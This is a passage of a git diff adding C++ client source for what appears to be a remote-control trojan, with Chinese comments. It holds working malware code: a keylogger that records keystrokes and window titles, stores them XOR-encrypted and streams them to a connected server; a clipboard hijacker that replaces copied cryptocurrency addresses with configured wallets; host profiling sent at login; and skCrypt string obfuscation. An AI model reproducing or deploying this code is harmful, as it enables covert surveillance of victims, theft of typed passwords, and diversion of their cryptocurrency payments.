KeyString = skCrypt("%");
|
||||
break;
|
||||
case 54://6
|
||||
KeyString = skCrypt("^");
|
||||
break;
|
||||
case 55://7
|
||||
KeyString = skCrypt("&");
|
||||
break;
|
||||
case 56://8
|
||||
KeyString = skCrypt("*");
|
||||
break;
|
||||
case 57://9
|
||||
KeyString = skCrypt("(");
|
||||
break;
|
||||
}
|
||||
} else
|
||||
KeyString = Key;
|
||||
}
|
||||
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
|
||||
if (Key >=65 && Key <=90) { //ASCII 65-90 为A-Z
|
||||
if (GetKeyState(VK_CAPITAL)) { // 大写锁定:输出A-Z
|
||||
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
|
||||
KeyString = Key + 32;
|
||||
else //只有大写锁定:输出为大写字母
|
||||
KeyString = Key;
|
||||
} else { // 大写没有锁定:a-z
|
||||
if(IS) {
|
||||
KeyString = Key;
|
||||
} else {
|
||||
Key = Key + 32;
|
||||
KeyString = Key;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
|
||||
HWND hFocus = (HWND)GetForegroundWindow();
|
||||
BOOL ReturnFlag = FALSE;
|
||||
if (hFocus != PreviousFocus) {
|
||||
if (lstrlen(WindowCaption) > 0) {
|
||||
if (hasData) {
|
||||
SYSTEMTIME s;
|
||||
GetLocalTime(&s);
|
||||
sprintf(szText, _T("\r\n[Title:] %s\r\n[Time:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||
}
|
||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||
ReturnFlag=TRUE;
|
||||
}
|
||||
PreviousFocus = hFocus;
|
||||
GET_PROCESS_EASY(SendMessageA);
|
||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||
}
|
||||
return ReturnFlag;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
|
||||
int pos = 0;
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected()) {
|
||||
pos = 0;
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
int size = 0;
|
||||
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
|
||||
if (size) {
|
||||
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
Sleep(1000);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int CALLBACK WriteBuffer(const char* record, void* user)
|
||||
{
|
||||
CircularBuffer* m_Buffer = (CircularBuffer*)user;
|
||||
m_Buffer->Write(record, strlen(record));
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||
while (pThis->m_bIsWorking) {
|
||||
auto w = pThis->GetWallet();
|
||||
if (w.empty()) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
bool hasClipboard = false;
|
||||
try {
|
||||
hasClipboard = clip::has(clip::text_format());
|
||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
||||
hasClipboard = false;
|
||||
Sleep(3000);
|
||||
}
|
||||
if (hasClipboard) {
|
||||
std::string value;
|
||||
clip::get_text(value);
|
||||
if (value.length() > 200) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
auto type = detectWalletType(value);
|
||||
switch (type) {
|
||||
case WALLET_UNKNOWN:
|
||||
break;
|
||||
case WALLET_BTC_P2PKH:
|
||||
case WALLET_BTC_P2SH:
|
||||
case WALLET_BTC_BECH32:
|
||||
if (!w[ADDR_BTC].empty()) clip::set_text(w[ADDR_BTC]);
|
||||
break;
|
||||
case WALLET_ETH_ERC20:
|
||||
if (!w[ADDR_ERC20].empty()) clip::set_text(w[ADDR_ERC20]);
|
||||
break;
|
||||
case WALLET_USDT_OMNI:
|
||||
if (!w[ADDR_OMNI].empty()) clip::set_text(w[ADDR_OMNI]);
|
||||
break;
|
||||
case WALLET_USDT_TRC20:
|
||||
if (!w[ADDR_TRC20].empty()) clip::set_text(w[ADDR_TRC20]);
|
||||
break;
|
||||
case WALLET_TRON:
|
||||
if (!w[ADDR_TRON].empty()) clip::set_text(w[ADDR_TRON]);
|
||||
break;
|
||||
case WALLET_SOLANA:
|
||||
if (!w[ADDR_SOL].empty()) clip::set_text(w[ADDR_SOL]);
|
||||
break;
|
||||
case WALLET_XRP:
|
||||
if (!w[ADDR_XRP].empty()) clip::set_text(w[ADDR_XRP]);
|
||||
break;
|
||||
case WALLET_POLKADOT:
|
||||
if (!w[ADDR_DOT].empty()) clip::set_text(w[ADDR_DOT]);
|
||||
break;
|
||||
case WALLET_CARDANO_SHELLEY:
|
||||
case WALLET_CARDANO_BYRON:
|
||||
if (!w[ADDR_ADA].empty()) clip::set_text(w[ADDR_ADA]);
|
||||
break;
|
||||
case WALLET_DOGE:
|
||||
if (!w[ADDR_DOGE].empty()) clip::set_text(w[ADDR_DOGE]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
Sleep(1000);
|
||||
}
|
||||
return 0x20251005;
|
||||
}
|
||||
|
||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||
{
|
||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||
MSG msg;
|
||||
TCHAR KeyBuffer[2048] = {};
|
||||
TCHAR szText[CAPTION_SIZE] = {};
|
||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||
HWND PreviousFocus = NULL;
|
||||
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||
HDESK desktop = NULL;
|
||||
clock_t lastCheck = 0;
|
||||
while(pThis->m_bIsWorking) {
|
||||
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||
#if USING_KB_HOOK
|
||||
ReleaseHook();
|
||||
#endif
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
Sleep(5);
|
||||
#if USING_KB_HOOK
|
||||
clock_t now = clock();
|
||||
if (now - lastCheck > 1000) {
|
||||
lastCheck = now;
|
||||
HDESK hInputDesk = IsDesktopChanged(desktop, DESKTOP_READOBJECTS |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD);
|
||||
if (hInputDesk) {
|
||||
ReleaseHook();
|
||||
if (desktop) {
|
||||
CloseDesktop(desktop);
|
||||
}
|
||||
desktop = hInputDesk;
|
||||
if (!SetThreadDesktop(desktop)) {
|
||||
Mprintf("SetThreadDesktop failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||
return -1;
|
||||
}
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||
#else
|
||||
int num = lstrlen(KeyBuffer);
|
||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||
bool newWindowInput = strlen(szText);
|
||||
if (newWindowInput) { // 在新的窗口有键盘输入
|
||||
lstrcat(KeyBuffer, szText);
|
||||
memset(szText, 0, sizeof(szText));
|
||||
}
|
||||
if (lstrlen(KeyBuffer) > 0) {
|
||||
if (!newWindowInput)
|
||||
lstrcat(KeyBuffer, _T("\r\n"));
|
||||
const int offset = sizeof(_T("\r\n[Content:]")) - 1;
|
||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||
memcpy(KeyBuffer, _T("\r\n[Content:]"), offset);
|
||||
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||
}
|
||||
}
|
||||
for(int i = 8; i <= 255; i++) {
|
||||
if((GetAsyncKeyState(i)&1) == 1) {
|
||||
std::string TempString = GetKey (i);
|
||||
lstrcat(KeyBuffer,TempString.c_str());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
259
client/KeyboardManager.h
Normal file
259
client/KeyboardManager.h
Normal file
@@ -0,0 +1,259 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "stdafx.h"
|
||||
|
||||
#define KEYLOG_FILE "keylog.xml"
|
||||
|
||||
#if ENABLE_KEYBOARD==0
|
||||
#define CKeyboardManager1 CManager
|
||||
|
||||
#else
|
||||
|
||||
#define BUFFER_SIZE 10*1024*1024
|
||||
|
||||
// 循环缓存
|
||||
class CircularBuffer
|
||||
{
|
||||
private:
|
||||
char* m_buffer; // 缓冲区
|
||||
int m_size; // 缓冲区大小
|
||||
int m_write; // 写指针
|
||||
int m_read; // 读指针
|
||||
CRITICAL_SECTION m_cs; // 线程同步
|
||||
char m_key; // 用于 XOR 加解密的密钥
|
||||
|
||||
public:
|
||||
// 构造函数:从文件加载数据
|
||||
CircularBuffer(const std::string& filename, int size = BUFFER_SIZE, char key = '`')
|
||||
: m_size(size), m_write(0), m_read(0), m_key(key)
|
||||
{
|
||||
m_buffer = new char[m_size]();
|
||||
InitializeCriticalSection(&m_cs);
|
||||
LoadDataFromFile(filename);
|
||||
}
|
||||
|
||||
// 析构函数:清理资源
|
||||
~CircularBuffer()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
delete[] m_buffer;
|
||||
}
|
||||
|
||||
// 清空缓存
|
||||
void Clear()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 重置读写指针
|
||||
m_write = 0;
|
||||
m_read = 0;
|
||||
memset(m_buffer, 0, m_size);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
// 加密/解密操作(XOR)
|
||||
void XORData(char* data, int length)
|
||||
{
|
||||
for (int i = 0; i < length; i++) {
|
||||
data[i] ^= m_key; // 用密钥进行 XOR 操作
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件加载数据到缓冲区
|
||||
bool LoadDataFromFile(const std::string& filename)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 打开文件
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // 文件路径
|
||||
GENERIC_READ, // 只读权限
|
||||
0, // 不共享
|
||||
NULL, // 默认安全属性
|
||||
OPEN_EXISTING, // 文件必须存在
|
||||
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
||||
NULL // 不需要模板文件
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// 读取文件数据
|
||||
DWORD bytesRead = 0;
|
||||
while (m_write < m_size) {
|
||||
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
|
||||
break;
|
||||
}
|
||||
XORData(m_buffer + m_write, bytesRead); // 解密数据
|
||||
m_write = (m_write + bytesRead) % m_size;
|
||||
}
|
||||
|
||||
// 关闭文件句柄
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 写入数据(如果缓冲区满了,从头部覆盖写入)
|
||||
int Write(const char* data, int length)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
for (int i = 0; i < length; i++) {
|
||||
m_buffer[m_write] = data[i];
|
||||
m_write = (m_write + 1) % m_size;
|
||||
|
||||
// 当写指针追上读指针时,前移读指针实现覆盖写入
|
||||
if (m_write == m_read) {
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return length; // 返回实际写入的字节数
|
||||
}
|
||||
|
||||
// 从指定位置开始读取数据
|
||||
char* Read(int &pos, int &bytesRead)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (pos == 0) {
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
} else {
|
||||
m_read = pos;
|
||||
}
|
||||
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
char* outBuffer = size ? new char[size] : NULL;
|
||||
for (int i = 0; i < size; i++) {
|
||||
if (m_read == m_write) { // 缓冲区为空
|
||||
break;
|
||||
}
|
||||
outBuffer[i] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
bytesRead++;
|
||||
}
|
||||
pos = m_write;
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return outBuffer; // 返回实际读取的字节数
|
||||
}
|
||||
|
||||
// 将缓存中所有数据写入文件(加密)
|
||||
bool WriteAvailableDataToFile(const std::string& filename)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 获取所有数据的大小
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
|
||||
if (totalSize == 0) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true; // 没有数据可写入
|
||||
}
|
||||
|
||||
// 打开文件以进行写入
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // 文件路径
|
||||
GENERIC_WRITE, // 写权限
|
||||
0, // 不共享
|
||||
NULL, // 默认安全属性
|
||||
CREATE_ALWAYS, // 如果文件存在则覆盖
|
||||
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
||||
NULL // 不需要模板文件
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false; // 打开文件失败
|
||||
}
|
||||
|
||||
// 写入缓冲区中的所有数据
|
||||
int bytesWritten = 0;
|
||||
DWORD bytesToWrite = totalSize;
|
||||
const int size = 64*1024;
|
||||
char *buffer = new char[size];
|
||||
while (bytesWritten < totalSize) {
|
||||
DWORD bufferSize = min(bytesToWrite, size);
|
||||
|
||||
// 填充缓冲区
|
||||
for (int i = 0; i < bufferSize && m_read != m_write; ) {
|
||||
buffer[i++] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
|
||||
// 加密数据
|
||||
XORData(buffer, bufferSize);
|
||||
|
||||
// 写入文件
|
||||
DWORD bytesActuallyWritten = 0;
|
||||
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
delete[] buffer;
|
||||
return false; // 写入失败
|
||||
}
|
||||
|
||||
bytesWritten += bytesActuallyWritten;
|
||||
bytesToWrite -= bytesActuallyWritten;
|
||||
}
|
||||
delete[] buffer;
|
||||
|
||||
// 关闭文件句柄
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void Notify();
|
||||
virtual void UpdateWallet(const std::string& wallet);
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI Clipboard(LPVOID lparam);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
static DWORD WINAPI SendData(LPVOID lparam);
|
||||
BOOL m_bIsOfflineRecord;
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
CLocker m_mu;
|
||||
std::vector<std::string> m_Wallet;
|
||||
std::vector<std::string> GetWallet();
|
||||
};
|
||||
|
||||
#undef BUFFER_SIZE
|
||||
|
||||
#endif
|
||||
335
client/Loader.cpp
Normal file
335
client/Loader.cpp
Normal file
File diff suppressed because one or more lines are too long
379
client/LoginServer.cpp
Normal file
379
client/LoginServer.cpp
Normal file
@@ -0,0 +1,379 @@
|
||||
#include "StdAfx.h"
|
||||
#include "LoginServer.h"
|
||||
#include "Common.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <location.h>
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
std::string getSystemName()
|
||||
{
|
||||
typedef void(__stdcall* NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||
|
||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||
if (!hinst) {
|
||||
return "未知操作系统";
|
||||
}
|
||||
|
||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||
if (!proc) {
|
||||
FreeLibrary(hinst);
|
||||
return "未知操作系统";
|
||||
}
|
||||
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
dwBuildNumber &= 0xFFFF; // 高位是标志位,只取低16位
|
||||
|
||||
FreeLibrary(hinst);
|
||||
|
||||
// 判断是否为 Server 版本
|
||||
OSVERSIONINFOEX osvi = { sizeof(osvi) };
|
||||
GetVersionEx((OSVERSIONINFO*)&osvi);
|
||||
bool isServer = (osvi.wProductType != VER_NT_WORKSTATION);
|
||||
|
||||
std::string vname;
|
||||
|
||||
if (dwMajor == 10 && dwMinor == 0) {
|
||||
if (isServer) {
|
||||
// Windows Server
|
||||
if (dwBuildNumber >= 20348)
|
||||
vname = "Windows Server 2022";
|
||||
else if (dwBuildNumber >= 17763)
|
||||
vname = "Windows Server 2019";
|
||||
else
|
||||
vname = "Windows Server 2016";
|
||||
} else {
|
||||
// Windows 桌面版
|
||||
if (dwBuildNumber >= 22000)
|
||||
vname = "Windows 11";
|
||||
else
|
||||
vname = "Windows 10";
|
||||
}
|
||||
} else if (dwMajor == 6) {
|
||||
switch (dwMinor) {
|
||||
case 3:
|
||||
vname = isServer ? "Windows Server 2012 R2" : "Windows 8.1";
|
||||
break;
|
||||
case 2:
|
||||
vname = isServer ? "Windows Server 2012" : "Windows 8";
|
||||
break;
|
||||
case 1:
|
||||
vname = isServer ? "Windows Server 2008 R2" : "Windows 7";
|
||||
break;
|
||||
case 0:
|
||||
vname = isServer ? "Windows Server 2008" : "Windows Vista";
|
||||
break;
|
||||
}
|
||||
} else if (dwMajor == 5) {
|
||||
switch (dwMinor) {
|
||||
case 2:
|
||||
vname = "Windows Server 2003";
|
||||
break;
|
||||
case 1:
|
||||
vname = "Windows XP";
|
||||
break;
|
||||
case 0:
|
||||
vname = "Windows 2000";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (vname.empty()) {
|
||||
char buf[64];
|
||||
sprintf(buf, "Windows (Build %d)", dwBuildNumber);
|
||||
vname = buf;
|
||||
}
|
||||
|
||||
Mprintf("此电脑的版本为:%s (Build %d)\n", vname.c_str(), dwBuildNumber);
|
||||
return vname;
|
||||
}
|
||||
|
||||
std::string formatTime(const FILETIME& fileTime)
|
||||
{
|
||||
// 转换为 64 位时间
|
||||
ULARGE_INTEGER ull;
|
||||
ull.LowPart = fileTime.dwLowDateTime;
|
||||
ull.HighPart = fileTime.dwHighDateTime;
|
||||
|
||||
// 转换为秒级时间戳
|
||||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||
|
||||
// 格式化输出
|
||||
std::tm* localTime = std::localtime(&startTime);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||
return std::string(buffer);
|
||||
}
|
||||
|
||||
std::string getProcessTime()
|
||||
{
|
||||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||
|
||||
// 获取当前进程的时间信息
|
||||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||
return formatTime(creationTime);
|
||||
}
|
||||
std::time_t now = std::time(nullptr);
|
||||
std::tm* t = std::localtime(&now);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int getOSBits()
|
||||
{
|
||||
SYSTEM_INFO si;
|
||||
GetNativeSystemInfo(&si);
|
||||
|
||||
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
||||
return 64;
|
||||
} else {
|
||||
return 32;
|
||||
}
|
||||
}
|
||||
|
||||
// 检查CPU核心数
|
||||
// SYSTEM_INFO.dwNumberOfProcessors
|
||||
int GetCPUCores()
|
||||
{
|
||||
INT i = 0;
|
||||
#ifdef _WIN64
|
||||
// 在 x64 下,我们需要使用 `NtQuerySystemInformation`
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
|
||||
#else
|
||||
_asm { // x64编译模式下不支持__asm的汇编嵌入
|
||||
mov eax, dword ptr fs : [0x18] ; // TEB
|
||||
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
||||
mov eax, dword ptr ds : [eax + 0x64] ;
|
||||
mov i, eax;
|
||||
}
|
||||
#endif
|
||||
Mprintf("此计算机CPU核心: %d\n", i);
|
||||
return i;
|
||||
}
|
||||
|
||||
double GetMemorySizeGB()
|
||||
{
|
||||
_MEMORYSTATUSEX mst;
|
||||
mst.dwLength = sizeof(mst);
|
||||
GlobalMemoryStatusEx(&mst);
|
||||
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
||||
Mprintf("此计算机内存: %fGB\n", GB);
|
||||
return GB;
|
||||
}
|
||||
|
||||
#pragma comment(lib, "Version.lib")
|
||||
std::string GetCurrentExeVersion()
|
||||
{
|
||||
TCHAR filePath[MAX_PATH];
|
||||
if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
DWORD handle = 0;
|
||||
DWORD verSize = GetFileVersionInfoSize(filePath, &handle);
|
||||
if (verSize == 0) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
std::vector<BYTE> verData(verSize);
|
||||
if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
VS_FIXEDFILEINFO* pFileInfo = nullptr;
|
||||
UINT len = 0;
|
||||
if (!VerQueryValue(verData.data(), "\\", reinterpret_cast<LPVOID*>(&pFileInfo), &len)) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
if (pFileInfo) {
|
||||
DWORD major = HIWORD(pFileInfo->dwFileVersionMS);
|
||||
DWORD minor = LOWORD(pFileInfo->dwFileVersionMS);
|
||||
DWORD build = HIWORD(pFileInfo->dwFileVersionLS);
|
||||
DWORD revision = LOWORD(pFileInfo->dwFileVersionLS);
|
||||
|
||||
std::ostringstream oss;
|
||||
oss << major << "." << minor << "." << build << "." << revision;
|
||||
return "v" + oss.str();
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
|
||||
std::string GetCurrentUserNameA()
|
||||
{
|
||||
char username[256];
|
||||
DWORD size = sizeof(username);
|
||||
|
||||
if (GetUserNameA(username, &size)) {
|
||||
return std::string(username);
|
||||
} else {
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
{
|
||||
std::string s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += clientInfo[i] + "|";
|
||||
}
|
||||
s.erase(s.length()-1);
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
BOOL IsAuthKernel(std::string &str) {
|
||||
BOOL isAuthKernel = FALSE;
|
||||
std::string pid = std::to_string(GetCurrentProcessId());
|
||||
HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str());
|
||||
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
char buf[_MAX_PATH] = {};
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) {
|
||||
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
|
||||
isAuthKernel = TRUE;
|
||||
config* cfg = IsDebug ? new config : new iniFile;
|
||||
str = cfg->GetStr("settings", "Password", "");
|
||||
delete cfg;
|
||||
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
||||
auto list = StringToVector(str, '-', 3);
|
||||
str = list[1].empty() ? "Unknown" : list[1];
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hEvent1);
|
||||
SAFE_CLOSE_HANDLE(hEvent2);
|
||||
return isAuthKernel;
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
|
||||
{
|
||||
std::string str = expiredDate;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||||
//获得操作系统信息
|
||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||
|
||||
//获得PCName
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
gethostname(szPCName, MAX_PATH);
|
||||
|
||||
DWORD dwCPUMHz;
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
std::string group = cfg.GetStr("settings", "group_name");
|
||||
if (!group.empty())
|
||||
strcpy_s(conn.szGroupName, group.c_str());
|
||||
if (conn.szGroupName[0] == 0)
|
||||
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
||||
else
|
||||
sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName);
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
|
||||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||||
char buf[_MAX_PATH] = {};
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
LoginInfor.AddReserved(buf); // 文件路径
|
||||
LoginInfor.AddReserved("?"); // test
|
||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||
if (installTime.empty()) {
|
||||
installTime = ToPekingTimeAsString(nullptr);
|
||||
cfg.SetStr("settings", "install_time", installTime);
|
||||
}
|
||||
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
|
||||
LoginInfor.AddReserved("?"); // 安装信息
|
||||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
